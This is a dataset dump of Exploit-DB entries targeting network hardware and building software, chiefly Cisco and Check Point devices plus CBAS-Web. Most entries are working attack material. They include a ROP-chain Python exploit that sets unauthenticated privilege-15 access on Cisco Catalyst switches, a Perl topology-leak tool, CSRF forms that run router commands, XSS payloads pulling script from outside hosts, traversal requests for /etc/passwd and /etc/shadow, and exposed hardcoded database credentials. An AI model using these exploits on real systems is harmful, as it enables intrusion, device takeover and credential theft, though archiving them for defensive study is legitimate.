deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47629
Description: CBAS-Web 19.0.0 - Information Disclosure
Type: remote
Platform: hardware
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Exploit Title: CBAS-Web 19.0.0 - Information Disclosure
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : CVE-2019-10849
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

$ curl -s http://192.168.1.250/cbas/scripts/upgrade/restore_sql_db.sh | grep openssl
openssl enc -d -bf -pass pass:"WebAppEncoding7703" -in $FILE -out $filename.sql.gz

$ curl -s http://192.168.1.250/cbas/scripts/upgrade/restore_sql_db.sh | grep "\-\-password"
#for i in `mysql -B -u root --[CREDENTIAL_REDACTED] secrit" -e "show tables" wadb`; do
#    mysql -u root --[CREDENTIAL_REDACTED] secrit" -e "describe $i" wadb;
mysql -u root --[CREDENTIAL_REDACTED] secrit" $DB < $filename.sql
$MYSQL -u root --[CREDENTIAL_REDACTED] secrit" -e "$SQL"
Exploit-DB #33234
Description: Check Point Connectra R62 - '/Login/Login' Arbitrary Script Injection
Type: remote
Platform: hardware
Date: 2009-09-21
Author: Stefan Friedli

Exploit:
source: https://www.securityfocus.com/bid/36466/info

Check Point Connectra is prone to an arbitrary-script-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the context of the webserver. Successful exploits can compromise the application. 

--- CUT ---
POST https://www.example.com:443/Login/Login HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2)
Gecko/20090729 Firefox/3.5.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/Login/Login?LangCode=
Cookie: CheckCookieSupport=1; ICSCookie=***purged***; user_locale=en_US
Content-Type: application/x-www-form-urlencoded
Content-length: 153

loginType=Standard&userName=&vpid_prefix="><embed/src="http://www.example2.com/p/s/w/ccs.swf"
allowScriptAccess=always><a name="
&[CREDENTIAL_REDACTED]=1147&Login=Sign+In

--- CUT END ---

Response Snippet:

--- CUT ---
<input type="hidden" id="vpid_prefix" name="vpid_prefix"
value=""><embed/src="http://www.example2.com/p/s/w/ccs.swf"
allowScriptAccess=always><a name="">
--- CUT END ---
Exploit-DB #21015
Description: Check Point Firewall-1 4 Securemote - Network Information Leak
Type: remote
Platform: hardware
Date: 2001-07-17
Author: Haroon Meer & Roelof Temmingh

Exploit:
source: https://www.securityfocus.com/bid/3058/info

SecureRemote is the proprietary VPN infrastructure designed by Check Point Software, and included with some versions of Firewall-1.

A problem with the package allows remote users to gain information about internal networks. Older versions of the package send network topology information to SecureRemote connections prior to authentication, allowing an information gathering attack. 

#!/usr/bin/perl
# A Command-line tool that can be used to download network Topology
# from Firewall-1's running SecureRemote, with the option "Allow un
# authenticated cleartext topology downloads".
# Usage sr.pl IP
# Haroon Meer & Roelof Temmingh 2001/07/17
# haroon@sensepost.com - http://www.sensepost.com

use Socket;
if ($#ARGV<0) {die "Usage: sr.pl IP\n";}

$port=256;
$target=inet_aton($ARGV[0]);
print "Testing $host on port $port\n";

$SENDY="[PII_REDACTED][PII_REDACTED]0004c41e[PII_REDACTED]4e28746f706f6c6f67792d[PII_REDACTED]73740a093a63616e616d6520282d53656e7365506f73742d646f74
636f6d2d290a093a6368616c6c656e[PII_REDACTED][PII_REDACTED][PII_REDACTED]66290a290a00";
$SENDY = pack("H*",$SENDY);

@results=sendraw($SENDY);

if ($#results == 0) {
 print "No results on port 256 - trying 264\n";
 $port=264;
 @results2=sendraw($SENDY); 
 if ($#results2 == 0) {die "Sorry - no results\n";}
} else {print @results;}

sub sendraw {
 my ($pstr)=@_;
 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
 if(connect(S,pack "SnA4x8",2,$port,$target)){
  my @in;
  select(S);      $|=1;   print $pstr;
  while(<S>){ push @in, $_;}
  select(STDOUT); close(S); return @in;
 } else { return ""; }
}
# Spidermark: sensepostdata fw1
Exploit-DB #22394
Description: Check Point FW-1 Syslog Daemon - Unfiltered Escape Sequence
Type: remote
Platform: hardware
Date: 2003-03-21
Author: Dr. Peter Bieringer

Exploit:
source: https://www.securityfocus.com/bid/7161/info

An issue has been discovered in Check Point FW-1 syslog daemon when attempting to process a malicious, remotely supplied, syslog message. Specifically, some messages containing escape sequences are not properly filtered out. This may result in unpredictable behaviour by the Check Point syslog daemon.

The technical details regarding this issue are currently unknown. This BID will be updated when further information becomes available.

[attacker]# echo -e "<189>19: 00:01:04:
Test\a\033[2J\033[2;5m\033[1;31mHACKER~
ATTACK\033[2;25m\033[22;30m\033[3q" | nc -u firewall 514
Exploit-DB #31340
Description: Check Point VPN-1 UTM Edge NGX 7.0.48x - Login Page Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2008-03-06
Author: Henri Lindberg

Exploit:
source: https://www.securityfocus.com/bid/28116/info

Check Point VPN-1 UTM Edge is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Check Point VPN-1 UTM Edge firmware 7.0.48x.

<html> <body onload="document.f.submit()"> <form name="f" method="post" action="http://192.168.10.1" style="display:none"> <input name="user" value="'<script/src=//l7.fi></script>"> </form> </body> </html>
Exploit-DB #36256
Description: Cisco - 'file' Directory Traversal
Type: remote
Platform: hardware
Date: 2011-10-26
Author: Sandro Gauci

Exploit:
source: https://www.securityfocus.com/bid/50372/info

Multiple Cisco products are prone to a directory-traversal vulnerability.

Exploiting this issue will allow an attacker to read arbitrary files from locations outside of the application's current directory. This could help the attacker launch further attacks.

This issue is tracked by Cisco BugID CSCts44049 and CSCth09343.

The following products are affected:

Cisco Unified IP Interactive Voice Response
Cisco Unified Contact Center Express
Cisco Unified Communications Manager 

http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd

http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml
Exploit-DB #32390
Description: Cisco 871 Integrated Services Router - Cross-Site Request Forgery (1)
Type: remote
Platform: hardware
Date: 2008-09-17
Author: Jeremy Brown

Exploit:
source: https://www.securityfocus.com/bid/31218/info

The Cisco 871 Integrated Services Router is prone to a cross-site request-forgery vulnerability.

Successful exploits can run arbitrary commands on affected devices. This may lead to further network-based attacks.

The 871 Integrated Services Router under IOS 12.4 is vulnerable; other products and versions may also be affected. 

<!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #1 Replace "example.com" with the IP address of the target router, embed this in a web page and hope for the best. Cisco Admin's + Safari are the best targets ;) --> <html> <body> <body onload="asdf.submit();"> <form name=asdf method="post" action="http://example.com/level/15/exec/-"> <input type=hidden name=command value="show privilege"> <input type=hidden name=command_url value="/level/15/exec/-"> </body> </html>
Exploit-DB #32391
Description: Cisco 871 Integrated Services Router - Cross-Site Request Forgery (2)
Type: remote
Platform: hardware
Date: 2008-09-17
Author: Jeremy Brown

Exploit:
source: https://www.securityfocus.com/bid/31218/info
 
The Cisco 871 Integrated Services Router is prone to a cross-site request-forgery vulnerability.
 
Successful exploits can run arbitrary commands on affected devices. This may lead to further network-based attacks.
 
The 871 Integrated Services Router under IOS 12.4 is vulnerable; other products and versions may also be affected. 

<!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #2 Replace "example.com" with the IP address of the target router, embed this in a web page and hope for the best. Cisco Admin's + Safari are the best targets ;) --> <html> <body> <body onload="fdsa.submit();"> <form name=fdsa method="post" action="http://example.com/level/15/exec/-/configure/http"> <input type=hidden name=command value="alias exec xx xx"> <input type=hidden name=command_url value="/level/15/exec/-"> <input type=hidden name=new_command_url value="/level/15/configure/-"> </body> </html>
Exploit-DB #33054
Description: Cisco Adaptive Security Appliance 8.x - Web VPN FTP or CIFS Authentication Form Phishing
Type: remote
Platform: hardware
Date: 2009-05-24
Author: David Byrne

Exploit:
source: https://www.securityfocus.com/bid/35475/info

Cisco Adaptive Security Appliance (ASA) is prone to a vulnerability that can aid in phishing attacks.

An attacker can exploit this issue to display a fake login window that's visually similar to the device's login window, which may mislead users.

This issue is tracked by Cisco Bug ID CSCsy80709.

The attacker can exploit this issue to set up phishing attacks. Successful exploits could aid in further attacks.

Versions prior to ASA 8.0.4.34 and 8.1.2.25 are vulnerable.


The following example is available:

/+CSCOE+/files/browse.html?code=init&path=ftp%3A%2F%2F7367632e726b6e7a6379722e70627a
Exploit-DB #34200
Description: Cisco Adaptive Security Response - HTTP Response Splitting
Type: remote
Platform: hardware
Date: 2010-06-25
Author: Daniel King

Exploit:
source: https://www.securityfocus.com/bid/41159/info

Cisco Adaptive Security Response (ASA) is prone to an HTTP response-splitting vulnerability.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into having a false sense of trust.

Firmware versions prior to Cisco ASA 8.1(2) are vulnerable.

This issue is being tracked by Cisco Bugid CSCsr09163.

URL: http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom Request: GET http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0 Host: /www.example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Response: HTTP/1.0 301 Moved Permanently Server: Web Server Location: https:///www.example2.com/ Location: http:///www.example3.com Content-Type: text/html Content-Length: 125
Exploit-DB #33962
Description: Cisco Application Control Engine (ACE) - HTTP Parsing Security
Type: remote
Platform: hardware
Date: 2010-05-07
Author: Alexis Tremblay

Exploit:
source: https://www.securityfocus.com/bid/40002/info

Cisco Application Control Engine (ACE) is prone to a security weakness that may allow attackers to obfuscate HTTP server log entries.

Attackers can exploit this issue to avoid having client IP addresses logged by servers. 

GET / HTTP / 1 . 1
HOST: Myserver.com
CONNECTION: KEEP-ALIVE

GET / HTTP/1.1
HOST: Myserver.com
CONNECTION: KEEP-ALIVE
Exploit-DB #40258
Description: Cisco ASA 8.x - 'EXTRABACON' Authentication Bypass
Type: remote
Platform: hardware
Date: 2016-08-18
Author: Shadow Brokers

Exploit:
 # Exploit Title: Cisco ASA 8.X Authentication Bypass
# Date: 17-08-2016
# Exploit Author: Equation Group
# Vendor Homepage: Cisco
# Software Link: Cisco
# Version: Cisco ASA 8.X
# Tested on: Cisco ASA 8.4.2
# CVE : Not sure

Requirements:
* SNMP read (public) string
* Access to SNMP service
* SSH port accessible


Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40258.zip
Exploit-DB #32878
Description: Cisco ASA Appliance 7.x/8.0 WebVPN - Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2009-03-31
Author: Bugs NotHugs

Exploit:
source: https://www.securityfocus.com/bid/34307/info

Cisco ASA is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Cisco ASA software versions 8.0.4(2B) and prior running on ASA 5500 Series Adaptive Security Appliances are vulnerable. 

POST /+webvpn+/index.html HTTP/1.1
Host: "'><script>alert('BugsNotHugs')</script><meta httpequiv=""
content='"www.example.org
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Referer: https://www.example.com/+webvpn+/index.html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/1.3 (compatible; MSIE 3.0; Windows 3.11; .NET CLR 1.1.1032)
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: webvpnlogin=1
Content-Length: 66

username=psirt&[CREDENTIAL_REDACTED]=Login&next=&tgroup=&tgcookieset=
Exploit-DB #33055
Description: Cisco ASA Appliance 8.x - WebVPN DOM Wrapper Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2009-05-24
Author: Trustwave's SpiderLabs

Exploit:
source: https://www.securityfocus.com/bid/35476/info

Cisco ASA (Adaptive Security Appliance) is prone to a cross-site scripting vulnerability because its Web VPN fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

This issue is documented by Cisco Bug ID CSCsy80694.

Cisco ASA 8.0.(4), 8.1.2, and 8.2.1 are vulnerable. 

<html><script> function a(b, c) { return "alert('Your VPN location:\\n\\n'+" + "document.location+'\\n\\n\\n\\n\\n" + "Your VPN cookie:\\n\\n'+document.cookie);"; } CSCO_WebVPN['process'] = a; csco_wrap_js(''); </script></html>
Exploit-DB #21441
Description: Cisco ATA-186 - HTTP Device Configuration Disclosure
Type: remote
Platform: hardware
Date: 2002-05-09
Author: Patrick Michael Kane

Exploit:
source: https://www.securityfocus.com/bid/4711/info

The Cisco ATA-186 Analog Telephone Adapter is a hardware device designed to interface between analog telephones and Voice over IP (VoIP). It includes support for web based configuration.

Reportedly, HTTP requests consisting of a single character will cause the device to disclose sensitive configuration information, including the password to the administrative web interface.

curl -d a http://ata186.example.com/dev
Exploit-DB #42122
Description: Cisco Catalyst 2960 IOS 12.2(55)SE1 - 'ROCEM' Remote Code Execution
Type: remote
Platform: hardware
Date: 2017-04-12
Author: Artem Kondratenko

Exploit:
#!/usr/bin/python
# Author:
#  Artem Kondratenko (@artkond)

import socket
import sys
from time import sleep

set_credless = True

if len(sys.argv) < 3:
	print sys.argv[0] + ' [host] --set/--unset'
	sys.exit()
elif sys.argv[2] == '--unset':
	set_credless = False
elif sys.argv[2] == '--set':
	pass
else:
	print sys.argv[0] + ' [host] --set/--unset'
	sys.exit()


s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))

print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
#sleep(0.5)
print '[+] Sending cluster option'

print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'



payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4'		# first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x2c\x8b\x74'		# +8  address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
	payload += '\x00\x00\x99\x80'	# +12 set  address of func that rets 1
else:
	payload +=	'\x00\x04\xea\x58'	# unset 
payload += 'BBBB'					# +16(+0) r1 points here at second gadget
payload += '\x00\xdf\xfb\xe8' 		# +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC'					# +8 
payload += 'DDDD'					# +12
payload += 'EEEE'					# +16(+0) r1 points here at third gadget
payload += '\x00\x06\x78\x8c'		# +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; 
payload += '\x02\x2c\x8b\x60'		# +8  r1+8 = 0x022c8b60
payload += 'FFFF'					# +12 
payload += 'GGGG'					# +16(+0) r1 points here at fourth gadget 
payload += '\x00\x6b\xa1\x28' 		# +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
	payload += '\x00\x12\x52\x1c'	# +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr; 
else:
	payload += '\x00\x04\xe6\xf0'	# unset
payload += 'HHHH'					# +12
payload += 'IIII'					# +16(+0) r1 points here at fifth gadget
payload += '\x01\x48\xe5\x60'		# +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ'					# +8 r1 points here at third gadget
payload += 'KKKK'					# +12
payload += 'LLLL'					# +16
payload += '\x01\x13\x31\xa8'		# +20 original execution flow return addr
payload += ':15:' +  '\xff\xf0'

s.send(payload)

print '[+] All done'

s.close()
Exploit-DB #34033
Description: Cisco DPC2100 2.0.2 r1256-060303 - Multiple Security Bypass / Cross-Site Request Forgery Vulnerabilities
Type: remote
Platform: hardware
Date: 2010-05-24
Author: Dan Rosenberg

Exploit:
source: https://www.securityfocus.com/bid/40346/info

Cisco DPC2100 (formerly Scientific Atlanta DPC2100) is prone to multiple security-bypass and cross-site request-forgery vulnerabilities.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration settings, modify device firmware, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.

Firmware versions prior to 2.0.2.r1256-100324as are vulnerable. 

<html> <head> <title>Test for CSRF vulnerability in WebSTAR modems</title> </head> <body> <form name="csrf" method="post" action="http://192.168.100.1/goform/_aslvl"> <input type="hidden" name="SAAccessLevel" value="0"> <input type="hidden" name="SAPassword" value="W2402"> </form> <script>document.csrf.submit()</script> </body> </html>
Exploit-DB #47329
Description: Cisco Email Security Appliance (IronPort) C160 - 'Host' Header Injection
Type: remote
Platform: hardware
Date: 2019-09-02
Author: Todor Donev

Exploit:
#!/usr/bin/perl -w
#
#
#  Cisco (Titsco) Email Security Appliance (IronPort) C160 Header 'Host' Injection
#
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
# 
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use HTTP::CookieJar::LWP;


my $host = shift || 'https://192.168.1.1:443/';

print ("[+] Cisco (Titsco) Email Security Appliance (IronPort) C160 Header 'Host' Injection\n");
print ("===================================================================================\n");
print ("[!] Author: Todor Donev <todor.donev\@gmail.com>\n");
print ("[?] e.g. perl $0 https://target:port/\n") and exit if ($host !~ m/^http/);

my $user_agent = rand_ua("browsers");
my $jar = HTTP::CookieJar::LWP->new();
my $browser  = LWP::UserAgent->new(
                                        protocols_allowed => ['http', 'https'],
                                        ssl_opts => { verify_hostname => 0 }
                                );
   $browser->timeout(10);
   $browser->cookie_jar($jar);
   $browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,
                                  [ Content_Type => "application/x-www-form-urlencoded" ,
                                    Referer => $host], " ");
$request->header("Host" => "Header-Injection");
my $content = $browser->request($request);
print $content->headers_as_string();
Exploit-DB #21456
Description: Cisco IDS Device Manager 3.1.1 - Arbitrary File Read Access
Type: remote
Platform: hardware
Date: 2002-05-17
Author: Andrew Lopacki

Exploit:
source: https://www.securityfocus.com/bid/4760/info

IDS Device Manager is a web interface to the Cisco IDS systems. It is distributed and maintained by Cisco Systems.

The IDS Device Manager may allow a remote user to gain access to sensitive information on the system. Due to improper handling of user-supplied input, it is possible for a user to gain access to arbitrary files on the system using an elementary directory traversal attack. By placing a request to the process, with an appended dot-dot-slash (../) tag pointing to a file, a remote user may read the specified file on the affected system. 

https://example.com/../../../../../etc/shadow
Exploit-DB #20652
Description: Cisco IOS 11.x/12.0 - ILMI SNMP Community String
Type: remote
Platform: hardware
Date: 2001-02-27
Author: pask

Exploit:
source: https://www.securityfocus.com/bid/2427/info

IOS is the operating system designed for various Cisco devices. It is maintained and distributed by Cisco systems.

A problem in the versions of IOS 11.x and 12.0 could allow unauthorized access to certain configuration variables within a Cisco device. The ILMI SNMP Community string allows read and write access to system objects in the MIB-II community group. These configuration parameters do not affect the normal operation of the device, although if changed, can cause confusion or lead to a social engineering attack.

It is possible for a malicious remote user to change configuration objects within the MIB-II Community, and rename the system, change the location name in the system, and/or the contact information for the system. This vulnerability affects only certain devices.

snmpwalk router ILMI |more